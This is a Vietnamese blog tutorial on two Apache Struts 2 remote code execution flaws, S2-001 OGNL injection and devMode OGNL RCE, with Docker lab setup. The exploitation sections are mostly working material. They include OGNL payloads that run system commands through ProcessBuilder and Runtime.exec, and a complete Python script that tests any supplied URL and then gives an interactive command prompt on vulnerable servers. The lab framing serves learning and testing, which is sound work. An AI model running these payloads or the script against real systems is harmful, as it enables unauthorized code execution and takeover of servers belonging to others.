HuuTuan .Info

Chia sẻ ATTT - CNTT - Đồ họa

Các lỗ hổng bảo mật trên Apache Struts 2 - S2-001 và Devmod

I. Giới thiệu

Struts 2 là một framwork mở dùng cho việc tạo các ứng dụng web bằng Java và được phát triển với Craig McClanahan và được hỗ trợ bởi The Apache Software Foundation.


Struts 2 được phát triển từ Webwork. Sau khi làm việc độc lập trong một vài năm, cộng đồng Webwork và Struts liên kết lại với nhau để tạo thành một framwork mới. Struts 2 được đánh giá là đơn giản hơn trong cách sử dụng so với Struts 1 phiên bản cũ.

Struts 2 là một framework theo mô hình MVC:


Model: là các lớp java định nghĩa các đối tượng để chứa dữ liệu (hay còn gọi là các POJO). Trong các lớp này chỉ đơn thuần định nghĩa ra các thuộc tính của đối tượng và getter, setter tương ứng với chúng.

View: là các trang *.jsp, dùng để hiển thị dữ liệu đến người dùng. Việc lấy dữ liệu từ model để hiển thị lên view được thực hiện nhờ thành phần của Struts2 có tên là OGNL (Object-Graph Navigation Language) với các thẻ hay còn gọi là custom tag của nó được sử dụng trên các trang *.jsp

Controller : là phần xử lý logic, trong Struts2 thì Controller còn được gọi là Action. Mỗi Action sẽ là một lớp java có chứa tham chiếu đến model, và từ đó có thể truy cập trực tiếp dự liệu từ model. Dữ liệu lấy từ model sẽ được lấy ra và xử lý bên trong các phương thức của lớp đó. Mỗi phương thức sau khi xử lý dữ liệu xong sẽ cập nhật lại những thay đổi vào model và sau đó chuyển hướng đến một View tương ứng để hiển thị kết quả của sự xử lý đến người dùng.

II. Các lỗ hổng bảo mật trên Apache Struts 2


Ngày hôm nay mình sẽ hướng dẫn các bạn tìm hiểu về lỗ hổng S2-001 hay với tên gọi là Remote code exploit on form validation error và Struts2 devmode open RCE


II.1. Remote code exploit on form validation error (S2 -001)

1. Thông tin lỗ hổng

Phiên bản: https://cwiki.apache.org/confluence/display/WW/S2-001
Phiên bản ảnh hưởng: WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

2. Nguyên nhân

Lỗ hổng là khi người dùng gửi dữ liệu biểu mẫu và xác thực không thành công, máy chủ sẽ phân tích các giá trị tham số mà người dùng đã gửi trước đó bằng biểu thức OGNL %{value} và sao chép dữ liệu biểu mẫu tương ứng. Ví dụ, trong đăng ký hoặc trang đăng nhập. Khi gửi thất bại, máy chủ thường sẽ trả về dữ liệu đã gửi trước đó theo cấu hình mặc định. Vì máy chủ sử dụng  %{value} để thực hiện phân tích cú pháp biểu thức OGNL trên dữ liệu đã gửi, nên nó có thể gửi payload trực tiếp để thực thi lệnh.

3. Xây dựng môi trường

các bạn download file tại link sau:
Khởi tạo:

docker-compose build
docker-compose up -d




Ta xem lab chạy trên cổng nào:


Ta thấy lab chạy trên cổng 8080, truy cập theo địa chỉ http://your_ip:8080 hoặc http://localhost:8080 và thấy trang web hiển thị như bên dưới

4. Tiến hành khai thác

- Trong hình trên ta thấy đây là 1 form đăng nhập do đó ta sẽ thử khả năng là chèn các payload vào các input đầu vào

Phần tô vàng là phần chúng ta quan tâm:
Link : http://127.0.0.1:8080/login.action
POST data: và ta thấy được có 2 parameter là username và password

ta thử một số PoC sau:

username=%{1+1}&password=sqyy


%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}


%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}



Trên hình là kết quả sau khi nhập Payload vào các parameter và thu được kết quả.

II.2 Struts2 devmode open RCE

1. Tóm lược


Trong những tháng gần đây, Struts2 đã bộc lộ một số lỗ hổng nghiêm trọng. Lỗ hổng này xuất hiện khi devMode được kích hoạt và cho phép kẻ tấn công thực thi mã từ xa. Ngay cả các hướng dẫn tùy ý cũng có thể được thực thi từ xa nếu đặc quyền khởi động WebService là cao nhất, chẳng hạn như các lệnh tắt máy, tạo tài khoản người dùng mới, xóa tất cả các tệp trên máy chủ, v.v.


2. Cài đặt


$ docker pull medicean/vulapps:s_struts2_s2-devmode
$ docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-devmode


3. Khai thác

Ta có payload sau:
 ?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id


4. Viết công cụ khai thác


import requests
import sys

def check(uri):
    test_post = {
    'debug':'command',
    'expression':'(#wr=#context[#parameters.obj[0]].getWriter())!=(#wr.println(#parameters.content[0]))!=(#wr.flush())!=(#wr.close())',
    'obj':'com.opensymphony.xwork2.dispatcher.HttpServletResponse',
    'content':'Adlabgsrc'
    }



    r = requests.post(url=uri,data=test_post)
    response  = r.text
    return ('true' in response or 'Adlabgsrc' in response or 'null' in response) and len(response) < 20

def exploit(uri, cmd):
    post_data = {
        'debug':'browser',
        'object':'(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?(#context[#parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()))):xx.toString.json',
        'rpsobj':'com.opensymphony.xwork2.dispatcher.HttpServletResponse',
        'content':'110',
        'command':cmd
    }
    return requests.post(url=uri, data=post_data).text


if __name__ == "__main__":
    uri = sys.argv[1]

    if(check(uri)):
        print "Run command"
        while(True):
            cmd = raw_input("$")
            if(cmd == 'exit'):
                break
            else:
                try:
                    print exploit(uri,cmd)
                except:
                    print "there is some encoding error, but the command is executed."
    else:
        print "This URL is not exploitable."

0 Response to "Các lỗ hổng bảo mật trên Apache Struts 2 - S2-001 và Devmod"

Post a Comment

Nội Quy Khi Comment:
» Các bài comment phải nghiêm túc, không dung tục, không spam.
» Nội dung phải liên quan tới chủ đề bài viết.
» Những nhận xét spam sẽ bị xóa.
» Sử dụng tài khoản Google để được trợ giúp.
» Nặc danh thường không được chào đón.
Note : Hãy để lại nhận xét bên dưới bạn nhé !

Quảng Cáo TOP

Quảng Cáo TOP 1

Quảng Cáo TOP 2

Quảng Cáo TOP